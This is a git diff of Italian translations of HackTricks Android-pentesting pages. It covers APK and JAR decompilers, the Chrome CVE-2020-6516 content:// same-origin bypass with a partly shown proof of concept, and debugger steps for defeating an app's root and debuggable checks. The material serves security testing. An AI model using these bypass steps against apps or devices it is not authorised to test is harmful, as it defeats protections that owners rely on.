**Per ulteriori dettagli su ciascun strumento controlla il post originale da [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||||
|
|
||||||
|
|
||||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||||
|
|
||||||
Come il decompilatore GUI Java pioniere, **JD-Gui** ti consente di esaminare il codice Java all'interno dei file APK. È facile da usare; dopo aver ottenuto l'APK, aprilo semplicemente con JD-Gui per ispezionare il codice.
|
Come il pioniere decompilatore GUI Java, **JD-Gui** ti consente di investigare il codice Java all'interno dei file APK. È semplice da usare; dopo aver ottenuto l'APK, aprilo semplicemente con JD-Gui per ispezionare il codice.
|
||||||
|
|
||||||
### [Jadx](https://github.com/skylot/jadx)
|
### [Jadx](https://github.com/skylot/jadx)
|
||||||
|
|
||||||
**Jadx** offre un'interfaccia utente intuitiva per decompilare il codice Java delle applicazioni Android. È consigliato per la sua facilità d'uso su diverse piattaforme.
|
**Jadx** offre un'interfaccia user-friendly per decompilare il codice Java dalle applicazioni Android. È raccomandato per la sua facilità d'uso su diverse piattaforme.
|
||||||
|
|
||||||
- Per avviare l'interfaccia utente, vai alla directory bin ed esegui: `jadx-gui`
|
- Per avviare la GUI, naviga nella directory bin ed esegui: `jadx-gui`
|
||||||
- Per l'uso da riga di comando, decompila un APK con: `jadx app.apk`
|
- Per l'uso da riga di comando, decompila un APK con: `jadx app.apk`
|
||||||
- Per specificare una directory di output o regolare le opzioni di decompilazione: `jadx app.apk -d <percorso alla directory di output> --no-res --no-src --no-imports`
|
- Per specificare una directory di output o regolare le opzioni di decompilazione: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||||
|
|
||||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||||
|
|
||||||
**GDA**, uno strumento disponibile solo per Windows, offre numerose funzionalità per l'ingegneria inversa delle app Android. Installa e avvia GDA sul tuo sistema Windows, quindi carica il file APK per l'analisi.
|
**GDA**, uno strumento solo per Windows, offre ampie funzionalità per il reverse engineering delle app Android. Installa e esegui GDA sul tuo sistema Windows, quindi carica il file APK per l'analisi.
|
||||||
|
|
||||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||||
|
|
||||||
Con **Bytecode-Viewer**, puoi analizzare i file APK utilizzando più decompilatori. Dopo averlo scaricato, esegui Bytecode-Viewer, carica il tuo APK e seleziona i decompilatori che desideri utilizzare per l'analisi simultanea.
|
Con **Bytecode-Viewer**, puoi analizzare i file APK utilizzando più decompilatori. Dopo aver scaricato, esegui Bytecode-Viewer, carica il tuo APK e seleziona i decompilatori che desideri utilizzare per un'analisi simultanea.
|
||||||
|
|
||||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||||
|
|
||||||
**Enjarify** traduce il bytecode Dalvik in bytecode Java, consentendo agli strumenti di analisi Java di analizzare in modo più efficace le applicazioni Android.
|
**Enjarify** traduce il bytecode Dalvik in bytecode Java, consentendo agli strumenti di analisi Java di analizzare le applicazioni Android in modo più efficace.
|
||||||
|
|
||||||
- Per utilizzare Enjarify, esegui: `enjarify app.apk`
|
- Per utilizzare Enjarify, esegui: `enjarify app.apk`
|
||||||
Questo genera il bytecode Java equivalente all'APK fornito.
|
Questo genera l'equivalente bytecode Java dell'APK fornito.
|
||||||
|
|
||||||
### [CFR](https://github.com/leibnitz27/cfr)
|
### [CFR](https://github.com/leibnitz27/cfr)
|
||||||
|
|
||||||
**CFR** è in grado di decompilare le moderne funzionalità di Java. Usalo nel seguente modo:
|
**CFR** è in grado di decompilare le funzionalità Java moderne. Usalo come segue:
|
||||||
|
|
||||||
- Per la decompilazione standard: `java -jar ./cfr.jar "app.jar" --outputdir "directory_output"`
|
- Per la decompilazione standard: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||||
- Per file JAR di grandi dimensioni, regola l'allocazione di memoria JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "directory_output"`
|
- Per file JAR di grandi dimensioni, regola l'allocazione della memoria JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||||
|
|
||||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||||
|
|
||||||
**Fernflower**, un decompilatore analitico, richiede la compilazione da codice sorgente. Dopo la compilazione:
|
**Fernflower**, un decompilatore analitico, richiede la costruzione dal sorgente. Dopo la costruzione:
|
||||||
|
|
||||||
- Decompila un file JAR: `java -jar ./fernflower.jar "app.jar" "directory_output"`
|
- Decompila un file JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||||
Quindi, estrai i file `.java` dal JAR generato utilizzando `unzip`.
|
Poi, estrai i file `.java` dal JAR generato usando `unzip`.
|
||||||
|
|
||||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||||
|
|
||||||
**Krakatau** offre un controllo dettagliato sulla decompilazione, specialmente per la gestione di librerie esterne.
|
**Krakatau** offre un controllo dettagliato sulla decompilazione, specialmente per la gestione delle librerie esterne.
|
||||||
|
|
||||||
- Usa Krakatau specificando il percorso della libreria standard e il file JAR da decompilare: `./Krakatau/decompile.py -out "directory_output" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
- Usa Krakatau specificando il percorso della libreria standard e il file JAR da decompilare: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||||
|
|
||||||
### [procyon](https://github.com/mstrobel/procyon)
|
### [procyon](https://github.com/mstrobel/procyon)
|
||||||
|
|
||||||
Per una decompilazione semplice con **procyon**:
|
Per una decompilazione semplice con **procyon**:
|
||||||
|
|
||||||
- Decompila un file JAR in una directory specificata: `procyon -jar "app.jar" -o "directory_output"`
|
- Decompila un file JAR in una directory specificata: `procyon -jar "app.jar" -o "output_directory"`
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,38 +1,39 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
**Questa è un riassunto del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
**Questo è un riassunto del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||||
|
|
||||||
### Elencazione dei File nello Store Media
|
### Elenco dei file nel Media Store
|
||||||
Per elencare i file gestiti dallo Store Media, può essere utilizzato il comando seguente:
|
Per elencare i file gestiti dal Media Store, può essere utilizzato il comando seguente:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file
|
$ content query --uri content://media/external/file
|
||||||
```
|
```
|
||||||
Per un output più user-friendly, visualizzare solo l'identificatore e il percorso di ciascun file indicizzato:
|
Per un output più comprensibile, visualizzando solo l'identificatore e il percorso di ciascun file indicizzato:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file --projection _id,_data
|
$ content query --uri content://media/external/file --projection _id,_data
|
||||||
```
|
```
|
||||||
I provider di contenuti sono isolati nel proprio namespace privato. L'accesso a un provider richiede l'URI specifico `content://`. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.
|
I provider di contenuti sono isolati nel loro namespace privato. L'accesso a un provider richiede l'URI specifico `content://`. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.
|
||||||
|
|
||||||
### Accesso di Chrome ai Provider di Contenuti
|
### Accesso di Chrome ai Provider di Contenuti
|
||||||
Chrome su Android può accedere ai provider di contenuti attraverso lo schema `content://`, consentendogli di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare questo, un file può essere inserito nel Media Store e quindi accessibile tramite Chrome:
|
Chrome su Android può accedere ai provider di contenuti tramite lo schema `content://`, consentendogli di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare questo, un file può essere inserito nel Media Store e poi accesso tramite Chrome:
|
||||||
|
|
||||||
Inserire una voce personalizzata nel Media Store:
|
Inserisci un'entrata personalizzata nel Media Store:
|
||||||
```bash
|
```bash
|
||||||
cd /sdcard
|
cd /sdcard
|
||||||
echo "Hello, world!" > test.txt
|
echo "Hello, world!" > test.txt
|
||||||
|
@ -54,11 +55,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
||||||
```
|
```
|
||||||
### Chrome CVE-2020-6516: Bypass della Same-Origin-Policy
|
### Chrome CVE-2020-6516: Bypass della Same-Origin-Policy
|
||||||
|
|
||||||
Il _Same Origin Policy_ (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse a meno che non siano esplicitamente consentite da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire fughe di informazioni e falsificazioni di richieste tra siti. Chrome considera `content://` come uno schema locale, implicando regole SOP più rigide, dove ogni URL con schema locale è trattato come un'origine separata.
|
La _Same Origin Policy_ (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse, a meno che non sia esplicitamente consentito da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire perdite di informazioni e attacchi di cross-site request forgery. Chrome considera `content://` come uno schema locale, implicando regole SOP più severe, dove ogni URL di schema locale è trattato come un'origine separata.
|
||||||
|
|
||||||
Tuttavia, CVE-2020-6516 è stata una vulnerabilità in Chrome che ha permesso di aggirare le regole SOP per le risorse caricate tramite un URL `content://`. In pratica, il codice JavaScript da un URL `content://` poteva accedere ad altre risorse caricate tramite URL `content://`, il che costituiva una preoccupazione significativa per la sicurezza, specialmente su dispositivi Android con versioni precedenti ad Android 10, dove lo storage limitato non era implementato.
|
Tuttavia, CVE-2020-6516 era una vulnerabilità in Chrome che consentiva un bypass delle regole SOP per le risorse caricate tramite un URL `content://`. Di fatto, il codice JavaScript da un URL `content://` poteva accedere ad altre risorse caricate tramite URL `content://`, il che rappresentava una significativa preoccupazione per la sicurezza, specialmente sui dispositivi Android che eseguivano versioni precedenti ad Android 10, dove lo storage scoping non era implementato.
|
||||||
|
|
||||||
Il proof-of-concept di seguito dimostra questa vulnerabilità, dove un documento HTML, dopo essere stato caricato in **/sdcard** e aggiunto al Media Store, utilizza `XMLHttpRequest` nel suo JavaScript per accedere e visualizzare i contenuti di un altro file nel Media Store, aggirando le regole SOP.
|
La prova di concetto qui sotto dimostra questa vulnerabilità, dove un documento HTML, dopo essere stato caricato sotto **/sdcard** e aggiunto al Media Store, utilizza `XMLHttpRequest` nel suo JavaScript per accedere e visualizzare i contenuti di un altro file nel Media Store, eludendo le regole SOP.
|
||||||
|
|
||||||
Proof-of-Concept HTML:
|
Proof-of-Concept HTML:
|
||||||
```xml
|
```xml
|
||||||
|
@ -93,16 +94,17 @@ xhr.send();
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,92 +1,108 @@
|
||||||
# Sfruttare un'applicazione debuggabile
|
# Sfruttare un'applicazione debuggable
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# **Bypassare i controlli di root e debuggabilità**
|
# **Superare i controlli di root e debuggable**
|
||||||
|
|
||||||
Questa sezione del post è un riassunto del post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
Questa sezione del post è un riassunto del post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
|
||||||
## Passaggi per rendere un'applicazione Android debuggabile e bypassare i controlli
|
## Passi per rendere un'app Android debuggable e superare i controlli
|
||||||
|
|
||||||
### **Rendere l'applicazione debuggabile**
|
### **Rendere l'app debuggable**
|
||||||
|
|
||||||
Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||||
|
|
||||||
1. **Decompilare l'APK:**
|
1. **Decompila l'APK:**
|
||||||
- Utilizzare lo strumento APK-GUI per decompilare l'APK.
|
- Utilizza lo strumento APK-GUI per decompilare l'APK.
|
||||||
- Nel file _android-manifest_, inserire `android:debuggable=true` per abilitare la modalità di debug.
|
- Nel file _android-manifest_, inserisci `android:debuggable=true` per abilitare la modalità di debug.
|
||||||
- Ricompilare, firmare e zipalignare l'applicazione modificata.
|
- Ricompila, firma e zipaligna l'applicazione modificata.
|
||||||
|
|
||||||
2. **Installare l'applicazione modificata:**
|
2. **Installa l'applicazione modificata:**
|
||||||
- Utilizzare il comando: `adb install <nome_applicazione>`.
|
- Usa il comando: `adb install <application_name>`.
|
||||||
|
|
||||||
3. **Recuperare il nome del pacchetto:**
|
3. **Recupera il nome del pacchetto:**
|
||||||
- Eseguire `adb shell pm list packages –3` per elencare le applicazioni di terze parti e trovare il nome del pacchetto.
|
- Esegui `adb shell pm list packages –3` per elencare le applicazioni di terze parti e trovare il nome del pacchetto.
|
||||||
|
|
||||||
4. **Impostare l'applicazione in attesa di una connessione del debugger:**
|
4. **Imposta l'app per attendere la connessione del debugger:**
|
||||||
- Comando: `adb shell am setup-debug-app –w <nome_pacchetto>`.
|
- Comando: `adb shell am setup-debug-app –w <package_name>`.
|
||||||
- **Nota:** Questo comando deve essere eseguito ogni volta prima di avviare l'applicazione per assicurarsi che attenda il debugger.
|
- **Nota:** Questo comando deve essere eseguito ogni volta prima di avviare l'applicazione per garantire che attenda il debugger.
|
||||||
- Per la persistenza, utilizzare `adb shell am setup-debug-app –w -–persistent <nome_pacchetto>`.
|
- Per persistenza, usa `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||||
- Per rimuovere tutti i flag, utilizzare `adb shell am clear-debug-app <nome_pacchetto>`.
|
- Per rimuovere tutti i flag, usa `adb shell am clear-debug-app <package_name>`.
|
||||||
|
|
||||||
5. **Prepararsi per il debug in Android Studio:**
|
5. **Preparati per il debug in Android Studio:**
|
||||||
- Navigare in Android Studio su _File -> Apri profilo o APK_.
|
- Naviga in Android Studio su _File -> Open Profile or APK_.
|
||||||
- Aprire l'APK ricompilato.
|
- Apri l'APK ricompilato.
|
||||||
|
|
||||||
6. **Impostare i punti di interruzione nei file Java chiave:**
|
6. **Imposta i breakpoint nei file Java chiave:**
|
||||||
- Posizionare i punti di interruzione in `MainActivity.java` (specificamente nel metodo `onCreate`), `b.java` e `ContextWrapper.java`.
|
- Posiziona i breakpoint in `MainActivity.java` (specificamente nel metodo `onCreate`), `b.java` e `ContextWrapper.java`.
|
||||||
|
|
||||||
### **Bypassare i controlli**
|
### **Superare i controlli**
|
||||||
|
|
||||||
L'applicazione, in determinati punti, verificherà se è debuggabile e controllerà anche la presenza di binari che indicano un dispositivo con root. Il debugger può essere utilizzato per modificare le informazioni dell'applicazione, annullare il bit di debuggabilità e modificare i nomi dei binari cercati per bypassare questi controlli.
|
L'applicazione, in determinati punti, verificherà se è debuggable e controllerà anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dell'app, disattivare il bit debuggable e alterare i nomi dei binari cercati per superare questi controlli.
|
||||||
|
|
||||||
Per il controllo di debuggabilità:
|
Per il controllo debuggable:
|
||||||
|
|
||||||
1. **Modificare le impostazioni del flag:**
|
1. **Modifica le impostazioni dei flag:**
|
||||||
- Nella sezione delle variabili della console del debugger, passare a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
- Nella sezione variabili della console del debugger, naviga a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||||
- **Nota:** La rappresentazione binaria di `flags = 814267974` è `11000011100111011110`, che indica che il "Flag_debuggable" è attivo.
|
- **Nota:** La rappresentazione binaria di `flags = 814267974` è `11000011100111011110`, indicando che il "Flag_debuggable" è attivo.
|
||||||
|
|
||||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||||
|
|
||||||
Questi passaggi assicurano collettivamente che l'applicazione possa essere debuggata e che determinati controlli di sicurezza possano essere bypassati utilizzando il debugger, facilitando un'analisi o una modifica più approfondita del comportamento dell'applicazione.
|
Questi passaggi garantiscono collettivamente che l'applicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere superati utilizzando il debugger, facilitando un'analisi o modifica più approfondita del comportamento dell'applicazione.
|
||||||
|
|
||||||
Il passaggio 2 prevede la modifica di un valore del flag a 814267972, che è rappresentato in binario come 110000101101000000100010100.
|
Il passo 2 comporta la modifica di un valore di flag a 814267972, che è rappresentato in binario come 110000101101000000100010100.
|
||||||
|
|
||||||
# **Sfruttare una vulnerabilità**
|
# **Sfruttare una vulnerabilità**
|
||||||
|
|
||||||
È stata fornita una dimostrazione utilizzando un'applicazione vulnerabile contenente un pulsante e un textview. Inizialmente, l'applicazione visualizza "Crack Me". L'obiettivo è modificare il messaggio da "Try Again" a "Hacked" durante l'esecuzione, senza modificare il codice sorgente.
|
È stata fornita una dimostrazione utilizzando un'app vulnerabile contenente un pulsante e un textview. Inizialmente, l'applicazione visualizza "Crack Me". L'obiettivo è modificare il messaggio da "Try Again" a "Hacked" durante l'esecuzione, senza modificare il codice sorgente.
|
||||||
|
|
||||||
## **Verifica della vulnerabilità**
|
## **Controllo della vulnerabilità**
|
||||||
- L'applicazione è stata decompilata utilizzando `apktool` per accedere al file `AndroidManifest.xml`.
|
- L'applicazione è stata decompilata utilizzando `apktool` per accedere al file `AndroidManifest.xml`.
|
||||||
- La presenza di `android_debuggable="true"` in AndroidManifest.xml indica che l'applicazione è debuggabile e suscettibile di essere sfruttata.
|
- La presenza di `android_debuggable="true"` nel AndroidManifest.xml indica che l'applicazione è debuggable e suscettibile a sfruttamento.
|
||||||
- È importante notare che `apktool` viene utilizzato esclusivamente per verificare lo stato di debuggabilità senza modificare alcun codice.
|
- Vale la pena notare che `apktool` è impiegato esclusivamente per controllare lo stato debuggable senza alterare alcun codice.
|
||||||
|
|
||||||
## **Preparazione dell'ambiente**
|
## **Preparazione dell'impostazione**
|
||||||
- Il processo ha coinvolto l'avvio di un emulatore, l'installazione dell'applicazione vulnerabile e l'utilizzo di `adb jdwp` per identificare le porte Dalvik VM in ascolto.
|
- Il processo ha comportato l'avvio di un emulatore, l'installazione dell'app vulnerabile e l'uso di `adb jdwp` per identificare le porte Dalvik VM che sono in ascolto.
|
||||||
- JDWP (Java Debug Wire Protocol) consente il debug di un'applicazione in esecuzione in una VM esponendo una porta univoca.
|
- Il JDWP (Java Debug Wire Protocol) consente il debug di un'applicazione in esecuzione in una VM esponendo una porta unica.
|
||||||
- È stato necessario l'inoltro delle porte per il debug remoto, seguito dall'attacco di JDB all'applicazione target.
|
- Il port forwarding è stato necessario per il debug remoto, seguito dall'attacco di JDB all'applicazione target.
|
||||||
|
|
||||||
## **Iniezione di codice in tempo di esecuzione**
|
## **Iniezione di codice durante l'esecuzione**
|
||||||
- Lo sfruttamento è stato effettuato impostando punti di interruzione e controllando il flusso dell'applicazione.
|
- Lo sfruttamento è stato effettuato impostando breakpoint e controllando il flusso dell'applicazione.
|
||||||
- Sono stati utilizzati comandi come `classes` e `methods <nome_classe>` per scoprire la struttura dell'applicazione.
|
- Comandi come `classes` e `methods <class_name>` sono stati utilizzati per scoprire la struttura dell'applicazione.
|
||||||
- È stato impostato un punto di interruzione nel metodo `onClick`, e la sua esecuzione è stata controllata.
|
